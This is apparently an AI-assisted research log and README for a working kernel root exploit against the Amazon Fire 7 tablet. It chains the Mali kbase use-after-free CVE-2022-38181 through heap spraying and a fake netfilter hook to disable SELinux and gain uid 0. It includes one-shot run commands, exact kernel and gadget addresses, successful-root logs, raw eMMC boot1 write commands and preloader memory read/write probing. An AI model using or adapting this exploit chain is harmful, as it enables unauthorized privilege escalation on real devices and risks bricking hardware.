
Kernel exploit research achieving temporary root on Amazon Fire 7 (Fire OS 7.3.3.1) via the Mali kbase JIT use-after-free CVE-2022-38181, with a modprobe_path overwrite chain.
AI-assisted project. This research, exploit development, and documentation were produced with AI assistance using the models GLM-5.3 and DeepSeek V4.1 Flash.
Root exploit research for the Amazon Fire 7 9th gen (mustang, MT8163, Mali-T720) on the final firmware — Fire OS 7.3.3.1, PS7331.4463N, kernel 4.9.117 (built 2025-05-03, SPL 2024-08-01).
Goal: LineageOS. Bootloader path is dead on this unit (patched bootrom — preloader-only via CMD short), so the only remaining route is a software kernel exploit.
# one-shot: build, run the exploit (retries across the probabilistic reclaim),
# install a setuid-root su and verify it as an unprivileged user
nix-shell -p android-tools --run './run.sh' # add -p zig too if no zig
On success:
/data/metrics/su id # run a command as root
/data/metrics/su # interactive root shell
The reclaim wins roughly 1 boot in 3 and a loss panics/reboots the tablet;
run.sh just waits for the reboot and retries. SELinux is forced Permissive as
part of the exploit, so root is runtime-only — a reboot restores stock and
you re-run run.sh.
Prebuilt st3 and su (armv7 static) are committed, so no toolchain is needed
to run. ./run.sh --build rebuilds them from poc/*.c if you have zig.
GhostLock (below) is parked: MTK's BUG_ON rtmutex variant + zero kernel-address disclosure from shell = architectural dead end on this build (sessions 2-4). The kbase JIT UAF was re-diagnosed (the destroy-worker "unconditional panic" was the JIT_FREE deref, log lost to adbd death mid-panic) and stage 2 is now oracle-proven — see SESSION 5 section.
rtmutex remove_waiter() futex-PI stack-UAF (NebuSec disclosure 2026-07, fix 3bfdc63936dd
landed 2026-04). Vulnerable range 2.6.39–7.1 → our 4.9.117 (May 2025) is affected.
Verified on our exact build:
CONFIG_FUTEX=y, rtmutex compiled in, bug present verbatim:
rtmutex.c:1108-1111 uses current->pi_lock/current->pi_blocked_on (should be
waiter->task); buggy call site rtmutex.c:1723 (rt_mutex_start_proxy_lock error path)WAIT_REQUEUE_PI/CMP_REQUEUE_PI), no device node,
nothing SELinux-gated — the kbase path's fatal obstacles don't exist heresched_setattr → __sched_setscheduler → rt_mutex_adjust_pi(p) at
sched/core.c:4706 — derefs stale ✓exp32/main.crt_waiter frame offset vs do_sys_select fd_set area — disassemble
our vmlinux (do_sys_select stack_fds vs futex_wait_requeue_pi frame), expose
STAMP_NFDS/STAMP_WAITER_OFF as tunablesFailed critical init step 3/dev/mali0 world-RW + SELinux gpu_device, kbase r26p0-01rel0mustang, Fire OS 7.3.3.1 PS7331.4463N/00315758630404.9.117-g08fe75b-dirty, built Sat May 3 01:25:15 UTC 2025 (Linaro GCC 6.3-2017.05)/dev/kb, /dev/dkb (Amazon kernel-backup partitions) root:drmrpc 0660 — lockedmali_kbase r26p0-01rel0 (Midgard, Mali-T720), inside NVD affected range r4p0–r31p0mali_kbase_mem.c:2721 kbase_jit_destroy_worker frees region, never clears kctx->jit_alloc[id]mali_kbase_softjobs.c:1270 kbase_jit_free_finish derefs the stale jit_alloc[ids[j]]mali_kbase_mem.c:3138 kbase_jit_backing_lost → destroy path (fires during reclaim)0xc0008000 VA / 0x40080000 PA)ARM_SW_DOMAIN_PAN → ret2usr viable; CONFIG_PANIC_ON_OOPS=y (failed attempts = reboot)SLAB_FREELIST_RANDOM/HARDENED, no CONFIG_USER_NS/USERFAULTFD/NF_TABLESCONFIG_MODULES=y, no STATIC_USERMODEHELPER → modprobe_path overwrite = root_IOC_TYPE 0x80)MEM_ALLOC union is 32 bytes (in has 4 × u64 incl. extent)BASE_MEM_PROT_GPU_RD|WR (bits 2|3), not legacy R|Wmmap(fd, offset=3<<12, PROT_NONE)JOB_SUBMIT stride must equal sizeof(base_jd_atom_v2) = 48 (base_jd_prio/base_jd_dep_type are u8 typedefs)MEM_JIT_INIT (nr 14, v2 struct), alloc/free are soft jobs via JOB_SUBMIT
(BASE_JD_REQ_SOFT_JIT_ALLOC=0x209, ...FREE=0x20a; =user ptr, =count)Panic occurs during eviction itself (evictable_reclaim_scan_objects → backing_lost →
destroy worker) — the dangling refs (jit_alloc[], evict list) are walked before we ever
submit JIT_FREE. Stage 2 must win the race: reallocate the freed kbase_va_region with our
own MEM_ALLOC spray while pressure is still running.
poc/stage2.c — stage-2 exploit (modes: step/uaf/spstep/spfree/spray/keys)
— spray 700 = full oracle run; survives and pauses (kill to clean up)poc/mustang_jit_uaf.c — stage-1 PoC (modes: jit N / control N / pressure N)poc/build.sh — zig cross-build (static musl armv7)kernel/vmlinux — symbols recovered from the exact OTA build (vmlinux-to-elf)nix-shell -p zig --run 'zig cc -target arm-linux-musleabihf -static -O2 -o juaf poc/mustang_jit_uaf.c'
adb push juaf /data/local/tmp/juaf && adb shell chmod 755 /data/local/tmp/juaf
adb shell /data/local/tmp/juaf jit 700 # full trigger (~reboots device)
adb shell /data/local/tmp/juaf control 700 # no-JIT control
adb shell /data/local/tmp/juaf pressure 700 # raw memory-pressure control
Copy-source depths measured (absolute vs syscall-entry sp0; waiter spans -0x1d8..-0x1a8):
Ruled out this session:
Remaining leads for session 4:
MTK replaced upstream's NULL-safe rt_mutex_top_waiter with:
w = rb_entry(lock->waiters_leftmost, struct rt_mutex_waiter, tree_entry);
BUG_ON(w->lock != lock); // compiled to: ldr sb,[lock+8]; ldr r3,[sb+0x1c]; cmp; bne→udf#0x12
NO NULL CHECK + BUG_ON. Every all-zero anchor dies at *(NULL+0x1c); garbage anchors die at the udf. THE WALK REQUIRES: lock->waiters_leftmost (lock+8) must point at a fake waiter W (writable) with W->lock (+0x1c) == lock.
Walk flow fully mapped (rt_mutex_adjust_prio_chain @ 0xc0189a58):
/proc/self/task//stat field 28 (kstkesp) returns REAL kernel SP for syscall-blocked threads from SHELL context (verified: nonzero values observed).
The walk fires deterministically (dead-lock probe: crash every time, clean code). The write cannot land because of a 3-way kernel-hardening coincidence:
The stamp window (waiter+0x1c..0x5b) is the only controlled+known-content memory, but its ADDRESS is the unknown we need. Self-referential constructions all require stamping a kernel address as a constant — circular without a leak.
Their 5.4 kernel has UPSTREAM rtmutex_top_waiter (NULL-safe: if (!leftmost) return NULL) — empty-tree anchors survive, their write landed on null_fops
(writable on their kernel). Even THEY are stuck at dispatch ("ioctl reboot").
Mustang's 4.9.117 MTK tree has the BUG_ON variant — Fire OS 8 tablets
(GhostLock-5.10) succeeded because their 5.10 kernels are upstream-style.
Tested and dead from shell domain:
CONCLUSION: GhostLock on mustang requires a kernel-address disclosure that this kernel does not expose to the shell domain. The self-referential fake lock cannot be constructed without it.
(a) Boot-deterministic grind: reboot → calibrate stack address via crash oracle (~20-30 reboots), verify reproducibility. Long shot — late-boot thread stack allocation unlikely stable. (b) PIVOT back to kbase CVE-2022-38181 with accumulated assets: exact-build vmlinux + full source + toolchain + O_SYNC trace discipline + deep 4.9 knowledge. Original blocker (destroy-worker panic during JIT eviction) is a spray-timing problem, now better understood. (c) Stop at honest ~45%: trigger proven, walk mapped to the instruction, write blocked by MTK BUG_ON + no-leak.
Recommended: (b) — the kbase bug is verified-present in this exact source, had a working trigger, and its blocker is mechanical, not architectural.
step mode (alloc id=1 → DONT_NEED → 700MB pressure → MEM_QUERY, NO free)
survives: query=-1 (region freed by destroy worker, rbtree-clean).
The worker path is byte-identical to the legal JIT_FREE-under-pressure flow.
Session-1's crash was always the JIT_FREE dangling deref; its log line was
lost because the panic kills adbd mid-flush. Verified twice more with uaf
mode (bare free → panic, same log cutoff). The GHSL-2022-054 flow is fully
live on this build.
kbase_jit_free(kctx, reg) @ 0xc058495c with fully-controlled fake reg:
reg->cpu_alloc NULL → backed size 0 → trim block skipped (0xc0584978)kctx+0x147dd (byte) + kctx+0x147de+bin_id (byte)mark_reclaim(reg->gpu_alloc) @ 0xc059b158: chain
K=*(gpu_alloc+0x38) → *(K+0x1429c)==0 skips mm-atomics →
atomic_sub nents@K+0x141c8, D=*(K+4) → atomic_sub nents@D+0x538.
With nents=0 all writes are no-op stores (strex of same value).reg->flags |= 0x100000 (write into fake, benign)list_add(gpu_alloc->evict_node, &kctx->evict_list): evict_list head
@ kctx+0x1427c; writes into gpu_alloc+0x18/0x1c (must be writable)r3=*(reg+0x3c) prev, r2=*(reg+0x38) next
→ *(next+4)=prev; *(prev+0)=next — two arbitrary write-whats-wheres,
then relink of reg+0x38 into jit_pool_head @ kctx+0x148e89 candidates; S=0xc118b7ec (xfrm data, dormant on this device):
*(S+8)=0 (nents), *(S+0x18)=S+0x18 (empty evict_node → no WARN),
K=*(S+0x38)=0xc118b820 → *(K+0x1429c)=0, K/D+0x141c8/+0x538 all in
writable data. Oracle targets staged: init_uts_ns.name.nodename=0xc110d561
("(none)", readable via uname), scratch P=0xc118bd58 (xfrm zeros).
Avoid S=0xc111cba4 (tracepoint-adjacent). CONFIG_DEBUG_RODATA=y → all write
targets must be in .data/.bss (bss 0xc11d9000-0xc12d9000).
add_key (CONFIG_KEYS=y): SELinux-denied for shell. Dead.setxattr value buffer: kvmalloc(96)+copy_from_user happens BEFORE the
SELinux check → alloc dance is SELinux-proof even when the call fails;
transient (freed at syscall end), bytes persist at +4..95 (freelist ptr
clobbers +0..3 = rblink, unused by kbase_jit_free)spray 700 run 2026-09-11: 5895 regions sprayed during pressure, JIT_FREE
on dangling id=1 completed on a reclaimed region, then
JIT_ALLOC(0x40, bin 0) walked jit_pool_head and returned sprayed region
#4251's VA (0x142701000) — the exact region the dangling pointer consumed.
Process kill after: kctx teardown clean, no crash. Stage 2 complete:
deterministic UAF redirect with controlled object type + contents.
Region-type reclaim gives legal-dance survival but jit_node is INIT'd self → no unlink primitive. Need raw bytes at +0x38/+0x3c:
*(N+4)=P with P=userland shellcode page (no PAN!) —
candidates: const fops are .rodata (DEBUG_RODATA) → target non-const
fn ptr in .data, or binfmt formats list head, or sysctl proc_handler
(verify table writability). fallback: modprobe_path via byte-chained
writes (values must be writable addrs — use pointer-shaped targets)poc/stage3.c):
kern_table[pid_max].proc_handler @ 0xc1113f40 (writable
.data, verified via string-pointer scan + handler == proc_dointvec_minmax)b +8; W2 writes N at P = handler field)read /proc/sys/kernel/pid_max
(readable from shell); runs in own task context → creds apply to usinotify_handle_event kmallocs name_len+0x1d,
name bytes (fully controlled, NUL/slash-free constraint) at event+0x1c;
name_len=60 → kmalloc-96; queued → held; 4 instances → 4 events per
rename; SELinux-OK from shell. Fake redesigned NUL-free: cpu_alloc
points at S (nents@S+8 = 0 → same semantics as NULL)| variant | result |
|---|---|
| concurrent rename sprayers during storm |
Working hypothesis: storm-junk race — between the destroy worker freeing the slot (mid-storm) and child-kill/quiet, residual reclaim activity takes the sole-free-slot of the victim slab with non-payload bytes. Region spray (stage 2) wins because it allocates continuously DURING the storm; renames can't.
iso mode): identical timing, trailing with
commit-0 REGIONS + stage-2 pool-reuse oracle → ORACLE HIT
→ timing/reachability are FINE; events are the problemcurrent->mm is a kernel thread's → the elegant
"point the fake's pointers into our own userspace mmap" design (no PAN!)
FAULTS nondeterministically. 5/5 crashes with an otherwise-perfect fake.K=*(S+0x38) readable, *(K+0x1429c)==0 at runtime
(skips mm-atomics), K+0x141c8 writable, D=*(K+4) → D+0x538
writable, nents *(S+8) preferably 0. The 9 offline S-candidates were
validated against FILE bytes — runtime drift (xfrm/tracepoint init)
makes them unverified. A wrong chain = crash = reboot (~3 min cycle).A. Physmap-spray fake (ret2dir, classic arm32 no-PAN): spray ~450MB of user pages each containing the fake pattern baked for ONE guessed address G (G&0xfff = 0x141 for NUL-free name bytes; S=G; K=G-0x141b4 so K+4 lands in-page; K+0x141c8/+0x1429c → G+0x10/+0xd4 in-page; D=G+0x300; stray sub-0 stores hit random mapped RAM - harmless with nents=0). Spray doubles as the eviction pressure (dirty anon = unevictable → only ~100-200MB extra needed). Odds ≈ 45% (page hit) × ~50% (foreign K+0x1429c word is zero... if K+0x1429c kept in-page per layout above, odds = page-hit only). Miss = crash = reboot, retry. B. Brute-force the 9 static S-candidates (xfrm 0xc118b7ec first, tracepoint-adjacent 0xc111cba4 second...): 1 reboot per candidate, benign-oracle payload first, weapon on hit. C. pagemap-based exact G (dead: PFNs masked) — do not revisit.
/tmp/opencode/ksrc2/kernel/mediatek/mt8163/4.9/ (arch/arm incl.
mustang.dtsi, mm/, fs/eventpoll.c, fs/notify) from ksrc/platform.tar.
Findings:
physmap_retouch() after the kill (faults all spray pages
back in before the trailing/deref)Regions reclaim: 3/3. Events: 0/~12 attempts including 28K exclusive allocations with head start and correct-by-construction fake. If events reclaim with p_hit(G)≈0.35, five pmap misses ≈ 11.6% — possible but now unlikely (~10-15%). Either events structurally cannot take this slot (reason unknown — same cache, same context, same timing) or our G guesses are systematically missing (highmem-boundary skew, allocator placement).
vmalloc=496M slub_max_order=0 slub_debug=O loglevel=8 initcall_debug
Regions take the victim slot 3/3; events 0/13. Same cache (proven at source + disasm level), same process context, same pinned cpus, same post-kill timing, thousands of allocations with exclusive head start. Mechanism unknown. Remaining suspects: allocation-rate/frequency correlation with partial-list rotation (region ioctls ~1ms apart vs event renames ~100µs apart — opposite directions?), or SLUB freelist ordering details under slub_max_order=0 that favor... unclear.
[+] uname.nodename="X?lhost" (was "localhost") <<< ORACLE HIT
The full raw-byte chain works on the live device: event reclaims the freed region slot → kbase_jit_free derefs our fake (S=physmap page from the kbm spray, G=0xc154b2a4) → the unlink executes our two writes. Verified repeatedly with the benign payload (nodename write).
diag1 with the CORRECT handler address (0xc1113f3c): W1 fires (nodename changes), W2 must have executed (next instruction) — yet pid_max reads still return clean values → the handler field we write is not the one the inode dispatches through. diag3 (queued; needs a hit boot): W2 → entry->data FIELD (0xc1113f2c) pointing at nodename — if the read then shows nodename-bytes-as-int, our entry IS live and only the handler offset is somehow wrong; if unaffected, the inode uses a shadow table copy and we hunt the live one.
Per-boot coin flip (~25-40%), clustered; several safe-miss/crash boots in a row is normal. Roughly 1 in 3-4 boots is a hit. Keep the working config EXACTLY (2 kids, 5s trailing, 260-region kbm, G=0xc154b2a4).
User's idea translated to kernel memory: no SUID file (system is dm-verity RO; primitive writes kernel RAM). Instead: fake netfilter hook. This kernel has the Android-common backport of the NEW nf_hook_entries API, but implemented as a LINKED LIST (verified by disasm of nf_hook_slow + helper 0xc09897d4):
__ip_local_out(net, sk, skb) loads the entries CELL from
[net+0x58c], stores into state+0x1c, calls nf_hook_slowentry = *cell; while(entry){ if (state->[4] <= entry->[0x20])
call entry->[0xc](entry->[0x14], skb, state); entry = entry->[0]; }
— i.e. fn@entry+0x0c, priv@entry+0x14, priority@entry+0x20,
next@entry+0x00; state+4 = INT_MIN threshold (always passes)nf 200)The kbm CPU mappings are kept; after the free we scan every sprayed page for a known word:
[+] W1 CONFIRMED: region 135 page+0x185000 <- 0xc1104ad4 (reclaim + G hit!)
[+] nf trigger done, uid=2000 euid=2000
The full weapon chain fired on a live boot: event reclaimed the slot, the fake ran, the unlink executed, the G-guess page (0xc154b000) was genuinely ours (region 135 page 389). W2 = *(0xc1104ad4)=cell is the adjacent instruction — it must have executed. Yet UDP sendto did not root us → the failure is INSIDE the hook path: walk semantics, [state+0x1c] plumbing, priority compare, or the entry fields. (The marker experiment to discriminate hookfn-ran-vs-not was added; only crash-boots before session end — no clean data yet.)
pmap 200) is the environment sanity check (4/4 hits when
warm; crash-miss when cold)nf 200 on settle-delayed boots until the W1-CONFIRMED line
appears, then read the MARKER line:
a. marker PRESENT, uid!=0 → shellcode's creds failed (check
prepare_kernel_cred/commit_creds addrs; blx encodings)
b. marker ABSENT → walk never called us: verify with a SECOND
marker written by... next diagnostics: hookfn that ONLY writes
the marker and returns 1 (no creds) — if still absent:
ls -la; leave marker filespoc/stage3.c modes: pin/root/drain{,2,3,4,5}/iso — full weapon +
oracle + isolation harness, O_SYNC crash-point forensicsinit_net: 0xc1104548 is __stack_chk_guard (the movw/movt
histogram was polluted by stack-canary loads — 2025 built the whole nf plan on
it). Real init_net = 0xc1185040 (confirmed: ip_send_skb(net,...) called
with this literal; ~994 refs all in the net stack). IPv4 LOCAL_OUT cell =
init_net+0x58c = 0xc11855cc.nf_iterate treats [init_net+0x58c] as the
nf_hook_ops pointer itself — it reads fn@+0xc, priv@+0x14, prio@+0x20
directly from that value. The session-9 fake entry lived at
PM_PAGE+0x700 with the cell pointing at it (unused next/fn fields
at the cell → → crash). The fake entry MUST live (0xc154b740). With this fixed, the hook call
was proven ( mode = SAFE_FN processes all 200 sendtos cleanly).commit_creds(prepare_kernel_cred(0)) / override_creds(&init_cred) gives
uid 0 but lands in the kernel SELinux SID, which this Fire OS policy does
not allow to write /data or /sys/fs/selinux/enforce (verified: EACCES).
Real init SID (7) also denied (fake struct cred test). enforcing_setup
is __init (freed → crash). mark_reclaim's atomic_sub needs nents=1 which
breaks shrink_cpu_mapping's early-exit.
The win: the exploit process keeps the kbm CPU mappings, so the fake nf entry can be rewritten in place between packets:
selroot mode: entry = {fn=0xc01d503c (mov r3,#0;str r3,[r0];bx lr), priv=0xc1213ea8 (selinux_state.enforcing)}.*(enforcing)=0 → SELinux Permissive.kbm_cpu[reg]+off to {fn=commit_creds, priv=&init_cred}.commit_creds(&init_cred) in the sender's task → uid 0 with
a permissive SELinux → usable root, all in one reclaim, no chain needed.[+] W1 CONFIRMED: region 67 page+0xad000 <- 0xc11855cc (reclaim + G hit!)
[*] sendto 0 -> -1 errno=1 uid=0 euid=0
[+] nf trigger done, uid=0 euid=0 <<< HOOK RAN - commit_creds OK
[+] ROOT: uid=0 euid=0
[+] setenforce write=1
[+] su copied bytes=236220
getenforce → Permissive; paused st3 is Uid: 0 0 0 0,
CapEff: 3fffffffff./data is mounted nosuid so a setuid su cannot work. A tiny
rootshell (send UDP → commit_creds on self → execl sh) gives an
interactive root shell: uid=0(root) context=u:r:kernel:s0./dev/block/by-name/* (dd if=boot ... OK).poc/stage3.c)nf <mb> [probe|uprobe|oc|chain|fc <sid>|notrig|selroot]selroot is the working weapon. Key statics: init_net=0xc1185040,
HOOKS_PTR_ADDR=0xc11855cc, ENFORCING_ADDR=0xc1213ea8,
ZERO_GADGET=0xc01d503c, commit_creds=0xc014993c,
init_cred=0xc1114f54.system()); keep the kctx alive
(pause()) to avoid teardown crash.su will need a non-nosuid home (/system) or a launcher that re-triggers.Goal was persistent root. Two tracks were scoped:
/system can be patched.Both reduce to the same blocker: make LK treat the device as eng/unlocked.
green, ro.boot.unlocked_kernel=false, ro.boot.secure_cpu=1,
rpmb_state=1. Bootrom patched (no BROM); preloader only via CMD short./system is mounted by Android dm-verity from the lk-built kernel cmdline:
root=/dev/dm-0 dm="system none ro,0 1 android-verity PARTUUID=b6404ef3-… ",
veritykeyid=id:f3530e18f64d11fc25eb2dd762979f078de990bf, androidboot.veritymode=eio,
skip_initramfs (system-as-root). dm-0 = verity device named system; dm-1 = /vendor.lk.img header: 88 16 88 58 | 00052974 | "LK"; ARM vector table at 0x200, rest Thumb-2,
position-independent/relocated (literal pools use ldr+add pc, so naive base-relative disasm fails).
Relevant strings (file offsets): amzn_image_verify, amzn_verify_unlock, amzn_verify_code_internal,
unlock_code, unlock code error, unlock failed, $Common Kernel Signing Engineering CA0,
seccfg, para, ENV_v1, LK_ENV, ////,
,
, ,
,
, , .
beefdeed + "2.1\0" + count(0x19=25) at 0x0; items from 0x10.char name[16]; u32 size; u32 type(=1); u32 magic(=0x124); u8 data[size] (pad4).board_id@0x10 serial@0x3c mac_addr@0x68 mac_sec@0x94 bt_mac_addr@0xd0 bt_mfg@0xfc product_name@0x198 productid@0x1d4 productid2@0x210 region@0x24c bootmode@0x26c postmode@0x28c bootcount@0x2ac manufacturing@0x2d0 unlock_code@0x4ec sensorcal@0x908 alscal@0x9c4 KB@0xa00 DKB@0x1e1c device_type_id@0x2238 dev_flags@0x2274 fos_flags@0x2298 usr_flags@0x22bc wifi_mfg@0x22e0 unlock_version@0x26fc. Values are ASCII (flags are hex strings)./proc/idme/<name> (read-only). Last-boot values cached; a write to boot1 takes
effect next boot. Write path requires clearing /sys/block/mmcblk0boot1/force_ro (root).serial changed ro.boot.serialno on next boot.
But LK truncates serial to 16 bytes and ignored fos_flags=0x80, ,
all-ones, etc. — verity/selinux/ unchanged. So cmdline injection via serial fails./init.fosflags.sh (service fosflags, u:r:fosflags:s0): FOS_FLAGS_ADB_ON=0x1,
CONSOLE_ON=0x4, RAMDUMP_ON=0x8, VERBOSITY_ON=0x10, ADB_AUTH_DISABLE=0x20,
BOOT_DEXOPT=0x100. Verified: setting flags takes effect (sys.usb=adb, noadbauth=1)..text VA 0x8160 / file 0x160; fileoff = VA-0x8000):
amzn_is_root_allowed @0x2d5b8 = amzn_is_dev_unlocked() && (fos_flags & 0x2)/data/metrics is a vpartition: /system/bin/vpartition.sh mounts /data/vp/metrics.img
(ext4, non-nosuid/noexec) at /data/metrics on every boot; su written there does not
survive reboot. (Also why setuid su gave uid 0 but zero caps.).rc trigger executes controllable code (imports all verified; persist.* triggers only
start fixed services; scripts in /system//vendor)./data configs but never exec from them (perfmonitord, amazonfiled,
vpartition.sh, kisd, …).kbm spray) → lmkd kills it; plus a lost reclaim panics (PANIC_ON_OOPS) → bootloop.prod=0/).Everything hinges on making LK report eng/unlocked. In reach:
androidboot.prod=1|0 and androidboot.unlocked_kernel=false are set by LK. Reverse LK to find:
fos_flags/dev_flags/usr_flags (the K* items) and the exact gate;prod/unlocked determination (IDME item? buildvariant? amzn_verify_unlock result?);amzn_verify_unlock (libtomcrypt RSA verify) for a bypass or a weak unlock_code/version path;seccfg/para/ENV_v1(LK_ENV) storage (not in any dumped partition — maybe tee-protected);boot0, EMMC_BOOT) for a bug.
If any of these lets us set eng/unlocked (persistently, via boot1 or a raw partition write), then
FOS_FLAGS_DM_VERITY_OFF disables system(root) verity and can be patched persistently./tmp/opencode/mustang-dumps/ (may be cleared on host reboot): lk.img, boot1.img (pristine),
boot.img, MISC.img, metadata*.img, pmt.img, mbr.img, kb.img, dkb.img, reserved.img,
cache.img, boot0.img, boot1.img, adbd.bin, , .
Helpers: , , , (in /tmp);
repo has , (), , .
# IDME read
/data/metrics/su sh -p -c 'for f in fos_flags dev_flags usr_flags serial region device_type_id unlock_version; do echo -n "$f="; cat /proc/idme/$f; echo; done'
# write boot1 (root; su lives only until reboot -> re-run run.sh first)
/data/metrics/su sh -p -c 'echo 0 > /sys/block/mmcblk0boot1/force_ro; dd if=/data/local/tmp/boot1.img of=/dev/block/mmcblk0boot1 bs=4096 count=4; sync; echo 1 > /sys/block/mmcblk0boot1/force_ro'
# dump a partition to host
adb exec-out '/data/metrics/su dd if=/dev/block/by-name/lk bs=4096 2>/dev/null' > lk.img
Goal: get LK to treat the device as eng/unlocked, or find a preloader/LK bug,
so verity/SELinux can be disabled persistently. Result: reversed the relevant
LK code path end-to-end; the flip is not reachable by the available stores.
No device was bricked; the one boot1 experiment was reverted to pristine.
lk.img begins with a tiny ARM stub (file 0x200). The relocator at 0x224
copies from 0x200 to a literal destination and branches to a literal entry:
So runtime address = 0xFF400000 + file offset for offsets >= 0x200.
Everything after the stub is Thumb-2, position-independent. Strings are built
with ldr rT,[pc,#imm] (T1 offset = imm8*4; ldr.w offset = imm12) followed by
add rT, pc; the target is (add+4) + *pool. A robust scanner that survives
the ARM stub and literal pools was added as tools/lk_xref.py (handles 16- and
32-bit forms, scans every 2 bytes). All offsets below are file offsets;
add 0xFF400000 for runtime addresses.
0x20b4 reads the unlock_code IDME item (0x400 bytes, all zero on this
unit) and runs amzn_verify_unlock (0x222c -> 0x20f0). That function drives
libtomcrypt (dozens of /features/libtomcrypt/src/pk/asn1/der/... paths and
RSA verify), and the image embeds the certificate material:
Sunnyvale / Amazon Lab126 / "$Common Kernel Signing Engineering CA0" at
0x317d9+, plus the diagnostics
Image FAILED AUTHENTICATION on PRODUCTION device (0x3166e),
Authentication failed on engineering device with production certificate (0x316a0),
Image FAILED AUTHENTICATION on ENGINEERING device (0x31703),
Image AUTHENTICATED with PRODUCTION certificate (0x31736).
There is no empty-code / length / version shortcut: verify(zeros) != 0, hence
(confirmed in ). Flipping
or requires either a valid
Amazon-signed (private key unavailable) or a code-execution bug in
the verifier. Nothing exploitable (bounds/size) was found statically in
0x20b4/0x222c/0x20f0. =>
The security flags are read through the getter at 0x57c. Empirical test:
# boot1 IDME item fos_flags data (offset 0x22B4, 8 bytes) set to "00000080"
dd if=/dev/block/mmcblk0boot1 ... ; reboot
/proc/idme/fos_flags -> 00000080 (persisted, Android sees it)
ro.boot.veritymode -> eio (unchanged!)
root=/dev/dm-0 dm="system none ro,0 1 android-verity PARTUUID=..." (unchanged)
androidboot.prod=1 / secure_cpu=1 / buildvariant=user (unchanged)
fos_flags=0x80 is FOS_FLAGS_DM_VERITY_OFF; the decoded gate would have turned
verity off if the getter had returned it. It did not. The gate is live, not
dead code: its one-time cache sentinel is -1 in the image
(*(u32*)0x50c74 == 0xffffffff), so the function really executed the
check_flag("fos_flags",0x80) path and got 0. Therefore the getter (at least
at verity-protection time) is not reading the boot1 IDME items.
The other candidate store is the LK env, loaded from a partition literally
named "para" (loader 0x12fd4, magic ENV_v1, checksum @0x3ffc). LK's own
partition table (0x4fcc0..0x50340) lists preloader/proinfo/nvram/protect1/
protect2/persist/seccfg/secro/para/logo/custom/expdb/tee1/tee2/metadata/
system/cache/userdata — but the tablet's actual GPT has only 16 entries, all
type af3dc60f838472478e793d69d8477de4:
#0 proinfo 0x400 #1 PMT 0x1c00 #2 kb 0x4000 #3 dkb 0x4800
#4 lk 0x5000 #5 tee1 0x5800 #6 tee2 0x8000 #7 metadata 0xa800
#8 MISC 0x1e400 #9 reserved 0x1e800 #10 boot 0x22800 #11 recovery 0x2a800
#12 system 0x34800 #13 vendor 0x644000 #14 cache 0x6b4800 #15 userdata 0x7ae800
There is no para, seccfg, nvram, protect, or persist partition on
this product (and PMT/pmt.img dumps are all-zero). So the LK env is empty,
the Kfos_flags/Kdev_flags keys never exist, and all fos_flags/dev_flags
checks resolve to 0 — independently of what the IDME items contain. The boot1
IDME items are consumed by Android (/init.fosflags.sh, adbd,
/proc/idme/*) but not by LK's security gates.
unlocked_kernel requires an Amazon-signed unlock_code (RSA/libtomcrypt,
embedded CA). Not forgeable offline; no verifier bug found. Hard block.DM_VERITY_OFF / selinux=permissive flags are consumed from the LK env
(para/ENV_v1), which does not exist on this GPT. IDME fos_flags is
empirically ignored by LK (0x80 persisted, verity stayed eio). Hard
block unless the partition table is modified.fos_flags=0x80 would only set androidboot.veritymode= disabled and a non-dm-0 root=; it would not unlock, and SELinux would
still need dev_flags from the same absent env to go permissive.para/ENV_v1 store: add a GPT entry named para (primary
userdata
(userdata ends LBA 0x3a3dfde; disk = 30535680 sectors), then craft an env with
fos_flags=0x80 and dev_flags=0x40 (checksum at +0x3ffc = byte sum over
0x3ffc). This is the only remaining route to verity-off. Risks: corrupting
the primary/backup GPT can brick; and it was not proven that the verity
gate actually reads para (only that it is not boot1 IDME).boot0/EMMC_BOOT) bug: not reversed this session. Writing
boot0 is forbidden until a pristine copy and a recovery path exist.tools/lk_xref.py — base-independent LK string-xref resolver./tmp/opencode/mustang-dumps/lk.img, boot1.img (pristine),
boot0.img, mbr.img (GPT), pmt.img (all-zero)./tmp/opencode/s12/boot1_f80.img; device restored to pristine boot1
(verified /proc/idme/fos_flags -> 0)../run.sh)# re-arm runtime root (~1/3 per boot)
./run.sh --no-build
# confirm LK's decisions without a UART
/data/metrics/su /system/bin/sh -p -c 'cat /proc/cmdline'
# watch: root=/dev/dm-0 dm="system ... android-verity ..." (verity on)
# androidboot.veritymode=eio ; androidboot.selinux=enforce ; prod=1
# IDME read (Android copy; NOT what LK's gates use)
for f in fos_flags dev_flags usr_flags unlock_version serial; do cat /proc/idme/$f; echo; done
1949:20ff = MTK preloader, HID transport)While powered off and plugged into USB, the tablet enumerates as 1949:20ff
(Lab126) — not Android and not the 0e8d:0003 bootrom. Descriptor:
bInterfaceClass 3 (HID), iConfiguration "HID", iInterface "HID Interface"
HID report descriptor = 05 01 09 00 a1 01 c0 (empty collection!)
EP 0x81 IN interrupt 4 bytes, bInterval 4
EP 0x01 OUT interrupt 4 bytes, bInterval 4
iSerial = GCC0X90805310009 (the IDME serial)
Identification. 0x20FF is listed as "MTK Preloader" in mtkclient's
config/usb_ids.py (under MediaTek VID 0x0e8d: 0xe8d:{0x0003 Brom, 0x2000/0x2001/0x20ff/0x3000 Preloader}). Amazon kept the preloader PID and
changed the VID to 0x1949, and present it as a HID endpoint pair with a dummy
report descriptor. So this is the MediaTek preloader / USBDL mode, a stage
below LK — reached here by power-off + plug, not by the CMD short.
The descriptor strings "HID"/"HID Interface" are not present in lk.img,
boot0.img, boot.img or the other dumps, i.e. the mode is produced by a
component we have not dumped (bootrom/TEE) or is assembled at runtime.
Why this matters. The Amazon preloader used by aftv2-tools exposes
built-in, Download-Agent-less commands over this exact byte stream:
handshake : host A0 0A 50 05 -> dev 5F F5 AF FA
0xD1 read32 (addr, n_words) : echo cmd/addr/n, 00 00, n*u32, 00 00
0xD4 write32(addr, words[]) : echo cmd/addr/n, 00 00, n*u32, 00 00
aftv2-tools/read_mmc.py uses read32/write32 to poke the MSDC controller
(base 0x11230000 on MT8173; verify for MT8163) and read/write raw eMMC
blocks with no DA and thus no AVB/verity in the way. If mustang's preloader
accepts 0xD1/0xD4, that is a direct path to persistent unlock (patch boot /
lk), independent of the RSA unlock code and the absent LK env.
lsusb -d 1949:20ff # note Bus/Dev, e.g. Bus 001 Device 003
sudo chmod 666 /dev/bus/usb/001/003
# 1) does it answer the MTK handshake? (no DA, no flash access)
nix-shell -p python3Packages.pyusb --run \
'python3 tools/mtk_preloader_hid.py handshake'
# 2) read-only arbitrary memory read
nix-shell -p python3Packages.pyusb --run \
'python3 tools/mtk_preloader_hid.py read32 0x00100000 4'
tools/probe_preloader.py is the minimal handshake-only probe;
